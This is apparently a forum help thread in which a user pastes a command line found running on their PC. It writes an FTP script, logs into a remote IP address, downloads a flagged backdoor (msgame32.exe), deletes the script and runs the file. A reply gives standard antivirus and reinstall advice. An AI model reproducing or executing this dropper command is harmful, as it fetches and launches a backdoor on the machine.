I checking process find this.

cmd /k echo open 219.131.5.180 32845 > o&echo user 1 1 >> o &echo get
msgame32.exe >> o &echo quit >> o &ftp -n -s:o &del /F /Q o &msgame32.exe

anti-virus software say the [msgame32.exe] is a backdoor program.

the attack again and again. I no idea who start the process?

Based on the info in both of your posts I would be sure to do a full scan of
your computer with an antivirus program being sure to use the latest virus
definitions to see if it can detect and remove the malware and take steps to
prevent or minimize the chances of being infected again. Sometimes you may
also need to do your virus scan in Safe Mode. If you don't have antivirus
you can even get a free package here
http://free.grisoft.com/freeweb.php/doc/2/  . If problems persist you may
have to backup all your data and reinstall your operating system to a
freshly formatted system hard drive being sure to not connect to the
internet until your computer is protected by a firewall whether it be a
software or hardware device. The links below may help.   --- Steve

http://www.microsoft.com/windowsxp/using/networking/learnmore/protecthomenet.mspx
http://www.microsoft.com/athome/security/viruses/intro_viruses_remove.mspx
http://www.microsoft.com/athome/security/protect/windowsxpsp2/Default.mspx